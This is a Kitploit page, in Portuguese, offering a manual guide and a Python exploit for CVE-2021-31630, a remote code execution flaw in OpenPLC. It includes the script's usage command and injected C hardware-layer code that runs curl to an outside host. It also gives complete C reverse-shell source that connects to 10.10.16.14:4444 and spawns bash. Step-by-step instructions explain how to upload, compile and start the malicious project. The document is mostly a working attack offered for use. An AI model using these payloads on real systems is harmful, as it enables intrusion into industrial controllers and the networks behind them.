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CVE-2021-31630 — Guia de exploração manual e exploit em Python para CVE-2021-31630 direcionado ao OpenPLC, permitindo execução remota de código através de upload de projeto ST malicioso e injeção de código no hardware. | Kitploit
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GitHubuserb1ank/cve-2021-31630

CVE-2021-31630

Guia de exploração manual e exploit em Python para CVE-2021-31630 direcionado ao OpenPLC, permitindo execução remota de código através de upload de projeto ST malicioso e injeção de código no hardware.

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há 10 mesesAinda não revisado

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CVE-2021-31630

CVE encontrado ao atacar uma máquina HTB. O exploit do exploit-db tem alguns erros, então forneço o método de exploração manual e o exploit.

Uso do Script

Comando executado sem retorno de saída.

root@kitploit:~
python exp.py -u http://127.0.0.1:8080 -l openplc -p openplc -c "whoami"

Exploração Manual

A cadeia de ataque no backend é a seguinte:

Criar um projeto ST e compilar → Adicionar código malicioso na seção hardware e compilar no projeto → Iniciar o projeto para acionar o código malicioso.

demo.st

root@kitploit:~
PROGRAM prog0
  VAR
    var_in : BOOL;
    var_out : BOOL;
  END_VAR

  var_out := var_in;
END_PROGRAM


CONFIGURATION Config0

  RESOURCE Res0 ON PLC
    TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
    PROGRAM Inst0 WITH Main : prog0;
  END_RESOURCE
END_CONFIGURATION

Com base no modelo padrão do backend, foi adicionado um arquivo C com código malicioso.

root@kitploit:~
#include "ladder.h"
#include<stdlib.h>
//-----------------------------------------------------------------------------
// DISCLAIMER: EDDITING THIS FILE CAN BREAK YOUR OPENPLC RUNTIME! IF YOU DON'T
// KNOW WHAT YOU'RE DOING, JUST DON'T DO IT. EDIT AT YOUR OWN RISK.
//
// PS: You can always restore original functionality if you broke something
// in here by clicking on the "Restore Original Code" button above.
//-----------------------------------------------------------------------------

//-----------------------------------------------------------------------------
// These are the ignored I/O vectors. If you want to override how OpenPLC
// handles a particular input or output, you must put them in the ignored
// vectors. For example, if you want to override %IX0.5, %IX0.6 and %IW3
// your vectors must be:
//     int ignored_bool_inputs[] = {5, 6}; //%IX0.5 and %IX0.6 ignored
//     int ignored_int_inputs[] = {3}; //%IW3 ignored
//
// Every I/O on the ignored vectors will be skipped by OpenPLC hardware layer
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

//-----------------------------------------------------------------------------
// This function is called by the main OpenPLC routine when it is initializing.
// Hardware initialization procedures for your custom layer should be here.
//-----------------------------------------------------------------------------
void initCustomLayer()
{
    system("curl http://10.10.16.14:8000");
}

//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal input
// buffers must be updated with the values you want. Make sure to use the mutex 
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomIn()
{
    // Example Code - Overwritting %IW3 with a fixed value
    // If you want to have %IW3 constantly reading a fixed value (for example, 53)
    // you must add %IW3 to the ignored vectors above, and then just insert this 
    // single line of code in this function:
    //     if (int_input[3] != NULL) *int_input[3] = 53;
}

//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal output
// buffers must be updated with the values you want. Make sure to use the mutex 
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomOut()
{
    // Example Code - Sending %QW5 value over I2C
    // If you want to have %QW5 output to be sent over I2C instead of the
    // traditional output for your board, all you have to do is, first add
    // %QW5 to the ignored vectors, and then define a send_over_i2c()
    // function for your platform. Finally you can call send_over_i2c() to 
    // send your %QW5 value, like this:
    //     if (int_output[5] != NULL) send_over_i2c(*int_output[5]);
    //
    // Important observation: If your I2C pins are used by OpenPLC I/Os, you
    // must also add those I/Os to the ignored vectors, otherwise OpenPLC
    // will try to control your I2C pins and your I2C message won't work.
}

Enviar o arquivo ST para criar um novo projeto.

image-20240330232607509

Clique no botão "upload" para iniciar a compilação.

image-20240330232623198

É necessário compilar o projeto com sucesso para executar a próxima etapa do ataque.

image-20240330232712740

Injetar código malicioso na seção hardware.

image-20240330232748945

Clique no botão "save" abaixo. O código será compilado no projeto.

image-20240330232819994

Após a compilação bem-sucedida, clique no botão "start" para executar o código malicioso.

image-20240330232845938

Recebimento bem-sucedido da saída.

image-20240330232902304

Reverse shell

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer()
{
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.14");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    char * const argv[] = {"bash", NULL};
    execvp("bash", argv);
}

void updateCustomIn()
{

}


void updateCustomOut()
{

}
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